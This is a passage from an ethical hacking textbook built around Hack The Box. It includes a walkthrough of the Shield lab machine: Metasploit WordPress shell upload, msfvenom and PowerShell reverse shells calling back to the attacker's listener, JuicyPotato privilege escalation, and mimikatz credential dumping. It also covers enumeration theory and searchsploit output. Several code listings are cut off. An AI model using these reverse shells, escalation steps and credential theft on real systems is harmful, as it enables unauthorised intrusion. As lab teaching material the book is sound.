Ethical Hacking With HackTheBox
Ethical Hacking With HackTheBox
ir
I am Dr David Glance and I teach cybersecurity at the University of Western Australia. Apart
from spending time on Hack The Box and writing books about it, I do consulting and
research in cybersecurity.
1. Getting Started
2. Enumeration: Networks, SMB, DNS and Websites
3. Enumeration: Web Vulnerabilities
4. Initial Access: Shells and Remote Services
5. Initial Access: Custom Exploits
. Initial Access: Social Engineering
7. Linux Enumeration and Privilege Escalation
. Windows Enumeration and Privilege Escalation
9. Windows Active Directory Enumeration and Privilege Escalation
10. Defense Evasion
11. Command & Control and Persistence
hide01.ir
Introduction
If you have come here to learn about ethical hacking, then you may already be familiar with
what an ethical hacker actually is. For those that don't, the key is the ethical part of the
name which simply means that when you explore a technology, computer, machine, or
network, you are doing so with the owner's permission. Without permission, you are simply
a hacker and very likely doing something illegal. The hacker part of the name means that
you are exploring technologies, computers, machines and networks with the view of finding
weaknesses in them and exploiting those weaknesses for unintended purposes.
Professionally, ethical hackers can work as penetration testers where they will try and find
vulnerabilities in a customer's computer network or their software and then inform the
customer so that they can fix the vulnerabilities before they are exploited by malicious
hackers. Another type of ethical hacker is one that works in a Red Team, which is a group of
ethical hackers that take the exploration and exploitation of a network one step further by
emulating how real hackers would approach the task, sometimes going as far as
establishing a longer lasting presence on the network. Red teams are sometimes asked to
do this whilst another group of ethical hackers, known as a Blue Team, try and stop them.
In writing this book, I wanted to bring in elements of a red team perspective to the ethical
hacking process by covering all aspects of an attacker's "kill chain", the stages normally
followed by attackers looking to gain access to a network, establish a presence there and
then carry out their goal of the attack whether that is to steal information, observe or take
some other action.
There are many ways of learning about ethical hacking from online courses to university
degrees. Most of these approaches will involve varying degrees of practical hand-on labs.
Whilst this helps, there is nothing that substitutes for the 10,000 hour rule which was the
amount of time that author Malcolm Gladwell argued was necessary to become an expert
in any field. Whilst naturally gifted people may get away with less effort to be experts, for
most of us, it is the repetition of basic skills in a variety of different contexts that will make
us "elite" ethical hackers.
Fortunately, someone has found a way of making this process a lot more fun and that is
the Hack The Box team. I discovered Hack The Box, a site that gamifies the learning of
ethical hacking, early in my journey to become an ethical hacker. The challenges on the site
hide01.ir
are graded to suit levels of experience and most importantly, it comes with a phenomenal
community of hackers from around the world who are always ready to help and encourage
anyone who needs it at any time of day. The Hack The Box community also includes
IppSec, whose YouTube videos are one of the best ethical hacking educatlional resources
there is. IppSec makes hacking a Hack The Box challenge as entertaining as it is
instructional. Simply watching these videos and doing the challenges on Hack The Box
would be a great way to learn ethical hacking. That was in fact, what I did.
However, for other people who maybe don't have even the basics of a technical background,
I wanted to try and flatten the learning curve and provide a resource for them to get over the
initial hurdles and onto their journey of lifelong discovery and learning.
The exercises in this book require VIP access to Hack The Box. Whilst I would have
preferred not to impose a financial obligation on readers, I think the cost of VIP access is
affordable for anyone wanting to learn ethical hacking. It is a fraction of the cost of
professional certification courses and priced over a year, the cost is less than a few cups of
coffee (or cans of soda) a week. Irrespective of what you use this book for, the investment
in VIP access is well worth it. If you are not sure, you can also just pay monthly.
There are other services on Hack The Box that I do not cover in this book. Hack The Box
itself has its own Academy for training purposes and from what I have seen, it is a great
addition to the site. I obviously think that there is value in the approach taken in this book
and I hope that you agree.
hide01.ir
About the Author
My name is Dr David Glance and I teach cybersecurity at the University of Western
Australia. Before working at UWA, I worked for various companies including Microsoft,
Tibco, and IONA Technologies.
Feel free to reach out to me if you have any suggestions, corrections, or general comments.
The goal of cybersecurity is to protect valuable assets from vulnerabilities being exploited
by threats causing financial loss to the asset's owners. Although these threats are not just
malicious hackers, from the perspective of an ethical hacker, it is people as threats which is
their main concern. An ethical hacker tries to find exploitable vulnerabilities in an
organization's network by emulating a malicious hacker, using same tools but applying
some boundaries around what they do and how they do it. To a large degree, ethical
hackers are to cybersecurity what software testers are to software development. Ethical
hackers test everything, software, configuration, hardware and people that could expose an
asset to exploitation. They report on any vulnerabilities found so that the organization can
fix or mitigate those vulnerability.
To learn the skills of an ethical hacker, it is important to understand the technologies and
how people interact with those technologies within the context of the organization that
owns them. This is challenging enough, but the technologies evolve rapidly and so even
once you understand a technology, you have to keep updating that knowledge with those
changes. This is by no means an easy task, but it is a rewarding one. If you are interested in
how things work, how to break them and how to put things back together again, ethical
hacking will quickly become a passion.
Ethical hacking follows a process that starts with discovery which involves the enumeration
of the network and the devices on the network. With each discovered device, there is further
enumeration of the software and services that are running on it. Uncovering potential
vulnerabilities will lead to a plan about exploiting the vulnerabilities to gain a foothold on
the machine, either to be able to use it to expose information on the machine, or to gain
command execution. From there, there is another round of enumeration to discover more
hide01.ir
information and other users, especially those with higher privileges. This culminates in
getting administrative access to the machine and to total control.
Although this might sound like a linear process, sometimes referred to as the "kill chain", it
is often an iterative one consisting of the steps of enumeration, discovering vulnerabilities
and exploiting them. Because this process can take many paths, it is essential that it is
documented as you go. Without this, it is very easy to overlook things, get lost, or simply
forget what you did to get to a certain point. In a professional sense, the process needs to
be documented for the client as an audit of how their network was compromised so that
they can fix it.
Learning the skills of ethical hacking takes practice in as many different contexts as
possible. You will build a toolkit to assist with this but quickly discover that no one tool is
perfect, and that different approaches and tools may be needed in different situations,
including writing custom tools or scripts of your own. Of course, there is a limit to this and
by necessity, ethical hackers specialize in carrying out penetration testing, playing out
attack and defense scenarios as a red team or blue team (or purple), or end up in another
area of cybersecurity such as forensics.
Although there is a difference between a penetration test that simply aims to find
exploitable vulnerabilities on a machine or network of machines and a full blown emulation
of an adversarial hacker group seeking to take over a network for long term surveillance
and information exfiltration, many of the paths of the techniques that are used will be the
same. Paul Pols (2017) proposed an organization of stages of an attack he called the
Unified Kill Chain. This laid out the staged objectives of the attack as getting an initial
foothold, propagating through the network and getting critical access to assets.
What we will do in this book is to try and balance straight up theory, how things work, with
how they don't work in a particular context that makes them exploitable. We are going to
use examples from a site called Hack The Box that provides a range of different types of
challenges on different platforms which require a range of ethical hacking skills. Although
presented as a capture the flag (CTF) exercise, each box is a mix of hunting for clues about
misconfiguration, mistakes that administrators and developers have made or vulnerabilities
in the deployed software. What is also good about this environment is that even if you have
used a particular technique on a challenge before, the box creators find different ways to
make it sufficiently different that you will learn new skills with every attempt.
Another unique and impressive resource that accompanies Hack The Box are the videos
from IppSec. In the videos, IppSec goes through a challenge and takes the time to show the
underlying assumptions and techniques behind what he is doing at every stage. As a
learning (and entertainment) resource, it is priceless, and a strategy for learning ethical
hacking would be to simply watch all of IppSec's videos and follow along with what he is
doing yourself. Whilst I strongly recommend doing this (or as much as you have time), one
thing that this doesn't do is explicitly put all of these techniques into an overall ethical
hacking or penetration testing framework. If you take any of the certification courses in
ethical hacking or pentesting offered by providers such as Offensive Security, SANS
Institute, EC-Council or CREST, you will follow a similar curriculum that covers aspects of
general trade-craft including the use of specific tools.
The skills required to do pentesting are quite broad. In training, the focus remains broad
and so you are exposed to a wide range of software, technologies and techniques. You will
become as fluent in PowerShell as you are in Bash. As comfortable writing a Python script
as dissecting PHP code. And able to manipulate Assembly language to make a program do
what it was never designed to do.
hide01.ir
Setting up the VM
It is important when doing ethical hacking to do it from an environment which is not directly
your work or personal computer. Fortunately, virtual machine (VM) technologies have made
it simple to run guest operating systems on a computer and to configure these VMs with a
suite of tools commonly used in the ethical hacking process. This is usually based on a
Linux platform, but there are equivalent environments built for Windows as well. On the
Linux side, two of the most popular VM distributions are Kali from Offensive Security
(https://www.kali.org/downloads/\) and the other is ParrotOS from the Parrot Project
(https://www.parrotsec.org/\). These two platforms are very similar and if you are familiar
with one, switching between them will not present a problem. For the purposes of this book,
we will use ParrotOS, mainly because it is the one I prefer. However, if you are planning to
do the OSCP, the training material will be based on Kali Linux and so it might make more
sense to use Kali. Both platforms are Debian-based and feature the same tool sets. In most
cases, we will be downloading and using the latest versions of tools in any event.
Sometimes it is very useful to use a Windows VM and for this, we will refer to Windows
Commando VM from Fireeye (https://github.com/fireeye/commando-vm\). Commando VM
is actually a set of scripts that install a range of useful software on a regular Windows 10
environment and configures it to stop it deleting everything thinking it is malware.
We will not go through the setting up of a desktop environment in this book. There are
plenty of good guides on the Internet to do that.
hide01.ir
Taking Notes
Taking notes as you go along any penetration testing engagement or challenge on Hack
The Box is vital. A great application for this is Cherrytree
(https://www.giuspen.com/cherrytree/\) which can be installed easily using apt:
We will come back to the structure of notes that you would take with each step in the
process of engagement.
Tmux
Tmux is a terminal multiplexer and allows you to run a number of different shell sessions in
windows and panes. It has a number of advantages over using the native bash or other
shell window. The tmux session itself can be detached and re-attached to a shell easily and
splitting windows into vertical and horizontal panes allows you to have better control when
handling two related activities, for example communicating between a local and remote
machine.
We will only cover the basic commands here. Most of the commands are accessed using
the control key and the ‘b’ key (ctrl-b) and then a letter for the command.
To create a window
ctrl-b c
hide01.ir
To switch between windows use:
It is worth naming windows so that you know what you are doing in each window. To do
that use:
ctrl-b
Although it is always a good idea to save output from running exploration tools, having the
windows to jump back to for reference is useful as well.
hide01.ir
Exercise: The Shield Box with Metasploit
On logging in to Hack The Box, you will be presented with lots of things you can do via the
dashboard (Figure 1-6). In this book, we are going to focus on the Machines that are part of
the Labs environment of the site. In particular we are going to stick to Retired Machines
because writeups and videos discussing approaches to these challenges are public.
Remember that to get access to all of the retired machines, you will need a VIP account. A
machine is an actual virtual machine that is hosted on a server located in a region that is
accessible via VPN connection. You should choose a region that is close to where you live
in order to get the best response times from the machines. Hack The Box has a tutorial on
how to get VPN access (https://help.hackthebox.eu/getting-started/v2-introduction-to-vpn-
access\). Each machine will have a unique IP address and if the machine is not started
already by someone else, you can start the machine and it will run for a minimum of 24
hours. If you haven't finished in that time, you can extend the length of time the machine
runs by a further period. When you are ready, you can tackle the Active Machines which are
ones for which there are no public writeups or videos available and you are on your own to
try and solve the challenge.
All Hack The Box machines present the same goals, getting a user flag which is a 32
character unique hexadecimal string. Once this is obtained, you then need to get the root
flag which means getting administrator privileges on the box. In our case studies, I won't
explicitly talk about getting these flags although everything we do will allow you to get and
submit them.
hide01.ir
To get started, we are going to look at a machine called Shield in the Starting Point track.
This isn't the first machine in the list but it will enable us to explore some different
approaches to tackling these challenges. We will go through the standard enumeration and
look for an entry point into a misconfigured WordPress site. We will do this using command
line tools and through the use of the amazing Metasploit Framework.
There will be things that you do here that haven’t been covered yet and so I ask that you
bear with me and concentrate on the use of Metasploit and meterpreter shells. The other
aspects will be dealt with in more detail later. I could have skipped over the initial parts but
if you are still uncomfortable, go ahead and read the enumeration section and then come
back.
hide01.ir
Setup
To connect to the Starting Point machines, you need to run a VPN with the Starting Point
access pack. Download the openvpn configuration file and run that using:
I find it convenient to add the hostname of the machine in the /etc/hosts file so that I can
refer to the hostname and not have to remember the IP address. Add the hostname of the
machine and associate it with its IP address:
sudo vi /etc/hosts
10.10.10.29 shield.htb
Create a directory called Shield that you can use as the working directory for this challenge.
Create a sub-directory called nmap to store the nmap results.
In starting any box on Hack The Box, the first step is to perform enumeration of the network
services that the box provides. We are given the IP address of the box and so what we need
to know is what ports are open and what services are running on the machines listening on
those ports. We will go into networking in the next chapter and describe how services can
listen on specific ports for connections from client software. Web servers for example,
usually listen on ports 80 and 443. For the time being, however, just follow along without
hide01.ir
worrying too much about the detail. To scan for open ports on the box, we will use a
command line tool nmap.
To start, add a hostname for the box and associate it with its IP address.
You might see an alternative of this command which is to run an initial scan to get the open
ports and then run the second command to get information about the services and versions
of software. There isn't very much difference between the two approaches however and so
it is easier simply to run the single script.
When run, nmap will report 2 ports open, port 80 and port 3306.
The output from nmap tells us that Shield is a windows box running Microsoft IIS web
server on port 80. Opening the URL http://shield.htb gives the default IIS web page.
hide01.ir
Continuing the enumeration, we want to discover more about the website and in particular,
its directory structure and potential files in those directories. Web servers are normally
configured to serve HTML and other types of files from a root directory, like
/var/www/html/ for example. The root directory may have subdirectories to organize files
that the website uses like stylesheets and JavaScript. Subdirectories may also be used for
files that belong to other websites.
To explore the subdirectories and files that a website has access to, we can use a tool
called gobuster. Gobuster uses dictionaries of common words associated with directories
and files and will just repeatedly try URL paths replacing the final part of the path with
words from the dictionary. This process is called fuzzing and it is used in hacking to
explore the effect of inputs on the outputs of a program.
1 ──[rin@parrot]─[~/boxes/StartingPoint/Shield]
2 └──╼ $gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-me
3 -u http://10.10.10.29
4 ===============================================================
5 Gobuster v3.0.1
6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
7 ===============================================================
8 [+] Url: http://10.10.10.29
9 [+] Threads: 10
10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
11 [+] Status codes: 200,204,301,302,307,401,403
12 [+] User Agent: gobuster/3.0.1
13 [+] Timeout: 10s
14 ===============================================================
15 ... Starting gobuster
16 ===============================================================
17 /wordpress (Status: 301)
The objective of the challenge is to gain access to the box to explore and hopefully discover
more vulnerabilities that can be exploited to gain further privilege and access. This means
getting control of user accounts that give progressively more access until we get to be the
administrator of the box. Initial access usually refers to gaining a shell as one of these
users. A shell is a program that allows a user the ability to type commands and display
results.
hide01.ir
On Windows it is the cmd.exe program, on Linux it is bash or zsh that runs in the terminal
program. We have been using a shell on our Parrot box to carry out all of the actions we
have taken so far. When a shell is run locally on a box, it is a local shell. Remote shells are
those that are accessed over a network connection so that the commands are typed on the
local attacker box but run on the remote machine. We can set up a remote shell by running
a program on our local Parrot box which listens for connections and then run a program on
the remote machine that connects back to the listener and establishes the remote shell
session. This is called a reverse shell.
We will explore all of this in more detail in the next chapter, but for the moment, we are
going to get a reverse shell using Meterpreter. Time to turn to Metasploit which has a way
of launching a meterpreter reverse shell in PHP! Start Metasploit by selecting it from the
menu or by running
sudo msfconsole-start
use exploit/unix/webapp/wp_admin_shell_upload
We can ignore the fact that this is a Windows box not a Unix one. It still works.
You can set the options for this exploit using the set command:
LHOST is the IP address of your attacker machine which you can get using the command
“ifconfig”. After doing that, the options should look as follows:
All that remains is to type “run”. The exploit consists of uploading a plugin that consists of
a php page and then calling that page. This executes a staged meterpreter reverse shell.
The output should be something like:
That gives us a meterpreter shell that is a little unstable and also, because it is written in
PHP, somewhat limited in its abilities. We are going to generate a better meterpreter shell
using a program called msfvenom. To start with we can use msfvenom to generate a
Windows executable program that will run the meterpreter reverse shell. To do this, we need
to exit from the meterpreter session by typing bg and then hit return.
If you have problems running msfvenom within Metasploit, you can run it from
the command line in bash
Once the payload is created, we can upload it to the Shield machine. We need to get back
into the current meterpreter session first. We do that with the sessions command. Just
typing sessions will list the current sessions available. We can interact with a session using
the sessions -i <session number> command:
hide01.ir
1 msf6 exploit(unix/webapp/wp_admin_shell_upload) > sessions
2
3 Active sessions
4 ===============
5
6 Id Name Type Information Connection
7 -- ---- ---- ----------- ----------
8 1 meterpreter php/windows IUSR (0) @ SHIELD 10.10.14.13:4444 -
9 10.10.10.29:57574
10 (10.10.10.29)
11
12 msf6 exploit(unix/webapp/wp_admin_shell_upload) > sessions -i 1
13 [*] Starting interaction with 1...
14
15 meterpreter >
Once back in the meterpreter session , we can upload the revshell.exe using the meterpreter
command upload:
Before you run this shell, you want to run another exploit/multi/handler to handle the
reverse shell. We need to get out of the meterpreter session to get back to the Metasploit
prompt by using the background command "bg". We can then use exploit/multi/handler
and set the options to match what we set for the reverse shell with msfvenom above.
1 meterpreter > bg
2 [*] Backgrounding session 1...
3 msf6 exploit(unix/webapp/wp_admin_shell_upload) > use exploit/multi/handle
4 [*] Using configured payload generic/shell_reverse_tcp
5 msf6 exploit(multi/handler) > set Payload windows/x64/meterpreter_reverse_
6 Payload => windows/x64/meterpreter_reverse_tcp
7 msf6 exploit(multi/handler) > set LHOST 10.10.14.3
8 LHOST => 10.10.14.3
9 msf6 exploit(multi/handler) > set LPORT 6001
10 LPORT => 6001
11
hide01.ir
We can now start the revese shell listener using the command "run -j".
12 msf6 exploit(multi/handler) > run -j
13 [*] Exploit running as background job 0.
14 [*] Exploit completed, but no session was created.
15 [*] Started reverse TCP handler on 10.10.14.3:6001
Finally, we need to return to the original meterpreter session to run the new reverse shell
payload. To get back to a session, you can list them with the command “sessions” and then
select the session by using "sessions -i <session number>"
We can then just execute the meterpreter reverse shell by executing revshell.exe and waiting
for the new meterpreter session to start. We then background the first session and interact
with the new meterpreter session we just created.
We are now in a new, more powerful meterpreter session and typing help will show more
commands than were available with the php meterpreter shell (not all shells are equal). You
hide01.ir
can verify this by typing help at the meterpreter command and seeing the range of
commands available.
Now that we have achieved initial access, the process of further enumeration or discovery
takes place. We are looking for ways of elevating our user account to administrator and
gain total ownership of the box. This process is called privilege escalation or priv esc for
short.
In Metasploit, you can run a command that will look for particular vulnerabilities that will
lead to privilege escalation. This command is the “local_exploit_suggester”
1 meterpreter > bg
2 [*] Backgrounding session 2...
3 msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
4 msf6 post(multi/recon/local_exploit_suggester) > set SESSION 2
5 SESSION => 2
6 msf6 post(multi/recon/local_exploit_suggester) > run
7 [*] 10.10.10.29 - Collecting local exploits for x64/windows...
8 [*] 10.10.10.29 - 26 exploit checks are being tried...
9 [+] 10.10.10.29 - exploit/windows/local/bypassuac_sdclt:
10 The target appears to be vulnerable.
11 [+] 10.10.10.29 - exploit/windows/local/cve_2020_1048_printerdemon:
12 The target appears to be vulnerable.
13 [+] 10.10.10.29 - exploit/windows/local/cve_2020_1337_printerdemon:
14 The target appears to be vulnerable.
15 [+] 10.10.10.29 - exploit/windows/local/ms16_075_reflection:
16 The target appears to be vulnerable.
17 [+] 10.10.10.29 - exploit/windows/local/ms16_075_reflection_juicy:
18 The target appears to be vulnerable.
19 [*] Post module execution completed
20 msf6 post(multi/recon/local_exploit_suggester) >
Normally when reviewing possible exploits, experience will tell you which ones are likely to
work better than others. In some cases though it might be a question of trial and error to
find one that works. This could be a problem if any of the exploits leave the machine in an
unstable state. If that is the case in Hack The Box, you can ask for the machine to be reset.
hide01.ir
There is a bug in the current version of Metasploit. If you get an exception "Post
failed - NameError uninitialized constant
Msf::Exploit::CheckCode::NotSupported" there is a fix on GitHub
1 sudo vi /usr/share/metasploit-framework/modules/exploits/windows/
2 local/cve_2020_1054_drawiconex_lpe.rb
We can run another handler as before and then upload JuicyPotato.exe. One more step
however as executing it from the meterpreter prompt doesn’t work. So you can drop into a
cmd.exe shell prompt by typing “shell”. From the command prompt, you can then run the
JuicyPotato.exe
1 JuicyPotato.exe -t * -p ^
2
hide01.ir
C:\inetpub\wwwroot\wordpress\wp-content\plugins\dBPEarcLsr\revshell.exe -l
Remember to change the path of the revshell.exe to the actual path name Meterpreter has
used. When JuicyPotato.exe runs, it will start another meterpreter session but as the
privileged user that the exploit has impersonated, NT AUTHORITY\SYSTEM. From there,
you can cd (change directory) into the c:\Users\Administrator directory and find the flag.
Now that we have administrator privileges, we can do some more discovery to look for any
other useful information on the box, in particular, other user accounts and their passwords.
hide01.ir
We will come back to this later in the book and deal with it in more details but what you will
do is take advantage of a module that Meterpreter allows us to run called “kiwi” that is the
module that runs “mimikatz” commands. Mimikatz is a program that has been designed to
search for and collect credentials on Windows from a number of different places where
these are commonly stored. These include the two main sources:
Passwords stored in memory. mimikatz looks for passwords that may be in the
memory of the Local Security Authority Subsystem Service (LSASS) process
Kerberos: Using an API to access Kerberos credentials (tickets) again from memory
To run kiwi, you type “load kiwi” and then “creds_all”. From this, you can see the user
“sandra” has the password “Password1234!” which has been extracted from Kerberos
running on the machine.
If you follow the tutorial on Hack The Box for this machine, some things are different. A
different approach is taken to using netcat for reverse shells and running mimikatz.exe
directly. The end result is the same however.
You have seen how Metasploit can make discovery and exploitation a simple process of
choosing a command, setting options and then typing run. The problem with this is that
you don't get to see what is actually happening in each of these steps and so it is difficult to
understand what it is you are actually exploiting. In this section, we will do the initial access
using our own crafted exploit.
Visiting the Shield WordPress site at http://shield.htb/wordpress, you will find a website
called Shields Up which is for a company supplying electric trucks.
hide01.ir
This should first call the web server to get the PowerShell file
1 ┌─[rin@parrot]─[~/boxes/StartingPoint/Shield]
2 └──╼ $python3 -m http.server 8000
3 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
4 10.10.10.29 - - [...] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
And then the reverse shell should then call netcat to give us a PowerShell prompt:
1 ┌─[rin@parrot]─[~/boxes/StartingPoint/Shield/plugin]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.6] from (UNKNOWN) [10.10.10.29] 51298
5 Windows PowerShell running as user SHIELD$ on SHIELD
6 Copyright (C) 2015 Microsoft Corporation. All rights reserved.
7 PS C:\inetpub\wwwroot\wordpress\wp-content\plugins\newplugin>whoami
8 nt authority\iusr
Although the process was more involved, we understood the process much better at the end
of it and we got an initial shell that was far more robust than the PHP shell that Metasploit
initially established. The way that we did the initial access in this way is more generalizable
as well. We will see that we use the same approach repeatedly in different situations where
we can't use Metasploit. However, there is no denying that Metasploit speeds things up and
if you are working on an assignment which has time (and cost) pressures, Metasploit may
be the way to go.
There is not necessarily a right or wrong answer when it comes to the choice of tools in
most cases but knowing about a range of different approaches gives you the flexibility to
select what you think is optimal for a particular situation.
hide01.ir
Final Thoughts
Hopefully you have got a sense of the process we went through in tackling the machine
Shield. The steps we took of enumeration, initial access, discovery and enumeration and
privilege escalation are tactics that are used by adversarial hackers, penetration testers and
red teams when tackling targets. Each of these tactics consist of a variety of techniques,
some of which we used in getting ownership of the machine Shield. We will be covering
these tactics and techniques in more detail as we progress through the book.
Another principle that came out of doing the machine is that there are a variety of different
tools and procedures that can be used to carry out any given technique. We explored using
Metasploit for example and then did the same process by interfacing directly with
WordPress. The key however was that whatever approach you take to any given technique,
understanding what is going on is important. Understanding what you are doing, as
opposed to simply running a script, means you are going to understand the side-effects like
being noisy and attracting attention, or leaving traces behind of what you have done, or
worse, killing important processes or even the machine itself.
hide01.ir
In this chapter, we’ll explore techniques for gathering information about a victim’s network
and websites. In the process, you’ll learn about the basics of TCP/IP and performing
network scans using Nmap. We’ll then cover the enumeration of SMB shares, virtual
hosts, and directories using a variety of techniques. In the chapter’s exercises, you’ll
gather useful information about two Hack The Box machines: Archetype and
ForwardSlash
Every attack on a computing device aims to achieve the attacker's specific objective. If the
aim is to steal information from a system, this objective could be satisfied by
compromising a website and accessing a database using vulnerabilities in the site's
application code. If the objective is to take over a network to extract a range of data and
surveil employees, the attacker might look for ways to gain access to a machine, establish
persistence, move laterally to other machines on the network, and elevate privileges.
In all cases, the attacker will exploit vulnerabilities they’ve uncovered through extensive and
careful enumeration of details about the target. The more an attacker knows about a target,
the more vulnerabilities the attacker may uncover. They’ll also gain information that will
help them exploit these vulnerabilities.
In an engagement with a customer, ethical hackers usually start this process with a clear
scope that explains what the customer's goals are. Your customer may want to simply
identify vulnerabilities in a specific set of applications and verify how critical they are. Or
they may want the penetration tester to exploit the vulnerabilities to see how far attackers
could get into a network and what they could potentially do. This established scope will
also determine what machines and networks the attacker is allowed to target and which are
deemed out of bounds. The consistent goal, however, is to identify vulnerabilities whose
exploitation could lead to a compromise of the confidentiality, integrity, or availability of the
organization's digital systems and information.
hide01.ir
We can break enumeration down into a set of different gathering techniques, namely
gathering technical information, information about people, and information about the
organization. Gathering technical information involves understanding the layout of
networks, the machines that run on those networks, the interactions between machines, as
well as those between users and machines. For each machine, you’ll try to determine what
software and services are running, their versions numbers, and their configurations. This is
because the vulnerabilities you’ll try to exploit will be related to a particular version or
misconfiguration of some software.
Information about people in an organization may reveal their roles in that organization,
what systems or information they may have access to, and their general level of privilege. A
systems administrator, for example, is more likely to have high-privilege administrative
accounts than a clerk in the HR department. On the other hand, the clerk may have direct
access to the HR system, which your attack might aim to target.
Knowledge of the organization may reveal context that is useful to the attacker. The
attacker may be after companies in a specific industry, for example. Also, organizations in a
particular sector may use specific hardware and software. Furthermore, knowing about the
organizational structure may reveal information about the hierarchy of people working in
that organization.
You can gather information either actively and passively. While this distinction can be
murky, passive information-gathering essentially means you haven’t touched, poked, or
prodded the target in any way. Gathering Open Source Intelligence (OSINT) about a target
by using an Internet search engine is considered a passive technique. OSINT is any
intelligence about a target that is gathered from publicly available information. On the other
hand, scanning a network by sending packets to it and observing the replies is an active
information-gathering technique. The difference is that the target could actually notice that
you’re gathering this information; worse still, the actual process of gathering information
could impact the target in an adverse way, for example by crashing software or a machine
inadvertently.
hide01.ir
Finding and Exploiting Vulnerabilities
In large part, enumeration is about uncovering vulnerabilities and then trying to exploit
them. A security vulnerability is a weakness in a digital system that an attacker can exploit
to impact the confidentiality, integrity, or availability of that digital system. Often, the
vulnerabilities exist withing the digital system itself as a consequence of its faulty design or
development. But the people interacting with digital systems also introduce vulnerabilities.
When researchers discover technical vulnerabilities in a software system, the issues are
given a Common Vulnerabilities and Exposures (CVE) identifier and listed on sites such as
the CVE site (https://cve.mitre.org/index.html) and in the NIST National Vulnerability
Database (https://nvd.nist.gov/vuln). Researchers also give each vulnerability a CVSS
Common Vulnerability Scoring System (CVSS) score, which rates how critical the
vulnerability is with a score of between 0 and 10. The most current scoring system
assesses a vulnerability based on its impact, as well as how complex the attack that
exploits it is: whether it requires user interaction, whether the user needs privileges to
execute, and what the attack vector is.
From a practical perspective, when you look at vulnerabilities, you’ll be interested in a few
things. Firstly, does a working exploit exists for the vulnerability? Secondly, what are the pre-
conditions for carrying out the exploit? Do you need a username and password for the
targeted system to execute it (as is the case for authenticated exploits)? Can you execute
the exploit remotely or do you need to physically be on the target machine?
Searchsploit can be used to find exploits to vulnerabilities. For example, let’s search for
exploits related to a bash vulnerability called ShellShock (CVE-2014-6271):
1 ┌─[✗]─[rin@parrot]─[/]
2
hide01.ir
└──╼ searchsploit shellshock
3 Exploit Title Path
4 -----------------------------------------
5 Advantech Switch - 'Shellshock' Bash Environment Variable Command Injectio
6 (Metasploit) | cgi/remote/38849.rb
7 Apache mod_cgi - 'Shellshock' Remote Command Injection | linux/remote/3490
8 Bash - 'Shellshock' Environment Variables Command Injection |
9 linux/remote/34766.php
10 Bash CGI - 'Shellshock' Remote Command Injection (Metasploit) |
11 cgi/webapps/34895.rb
12 Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock) |
13 hardware/remote/39568.py
14 dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock) |
15 linux/remote/36933.py
16 GNU Bash - 'Shellshock' Environment Variable Command Injection |
17 linux/remote/34765.txt
18 IPFire - 'Shellshock' Bash Environment Variable Command Injection (Metaspl
19 cgi/remote/39918.rb
20 NUUO NVRmini 2 3.0.8 - Remote Command Injection (Shellshock) |
21 cgi/webapps/40213.txt
22 OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection |
23 linux/remote/34879.txt
24 PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass /
25 Command Injection | php/webapps/35146.txt
26 Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection |
27 linux/remote/34896.py
28 RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection |
29 linux/local/40938.py
30 Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 -
31 Command Injection (Shellshock) | cgi/webapps/39887.txt
32 TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock'
33 Remote Command Injection | hardware/remote/40619.py
The search returns a list of matching exploits and provides a link to the code associated
with each exploit. The code is located at /usr/share/exploitdb. You can obtain further
details about each exploit by using the -x (eXamine) flag and its the path. To make a local
copy of the exploit, specify the -m (mirror) flag.
While finding any vulnerability is useful, if it’s not practically exploitable or the loss in real
terms from that vulnerability is of no consequence, then it’s of less interest to us.
hide01.ir
Network Enumeration
If you’re going to access a machine through the Internet, it will be via TCP/IP, its network
protocol. This is why it’s often valuable to perform network enumeration, which aims to
discover the IP address of a machine of interest and the services it exposes to the network.
From outside an organization, the machines made accessible to via the network will
typically provide services to the public, external clients, or remote staff. These machines are
usually protected by firewalls that cordon the machine into a secure zone, sometimes
referred to as a demilitarized zone (DMZ). This DMZ limits the machines’ access to other
servers and networks internal to the organization, which are protected by other firewalls.
Although a penetration tester will start from the outside, they’ll aim to eventually access the
internal networks using a process called pivoting, which we’ll cover in Chapter 10.
In order to understand network enumeration, you’ll find it useful to understand how TCP/IP
works, so this is what we will cover next.
When accessing a target machine, you’ll usually make a network connection via TCP/IP.
TCP/IP is the network protocol that underpins the internet, allowing applications to
communicate with each other. Although you’ll find it useful to know how all layers of
TCP/IP model operate, for now it’s enough to understand its essential components: how
TCP/IP communication is initiated, how IP addresses identify the source and destination
machines of these communication channels, and then how TCP/IP ports identify the actual
programs that are either sending or receiving the messages on the machines. If you’re
familiar with TCP/IP, feel free to skip ahead.
The bottom link layer deals with transmission of messages, called packets, over the
physical network connection. This connection is usually an ethernet cable in the case of a
physical connection, and a Wi-Fi or cellular signal in the case of wireless connections. The
next layer up is the internet layer that assembles packets for transportation over the link
layer and uses IP addresses to identify the source and destinations of the packet.
When a client wants to use TCP/IP to talk to another process, like a server on a different
machine, it needs to know where to send messages.
A client and server application on two machines in the same network communicating with
each other
First of all, it needs an IP address for the machine that is running the server. IP addresses
are either in IPv4 (IP version 4) or IPv6 (IP version 6) format. We’ll be using with IPv4
because it’s still the most popular addressing scheme. An IPv4 address is a 32-bit number,
divided into four eight-bit numbers separated by periods. For example, consider the IP
address 192.168.0.1. In binary, that number would be comprised of 32 bits, as follows:
1 IP: 192.168.0.1
2 Binary: 11000000101010000000000000000001
Of the 32 bits, a portion are used to identify a specific subnetwork. A subnetwork, or subnet,
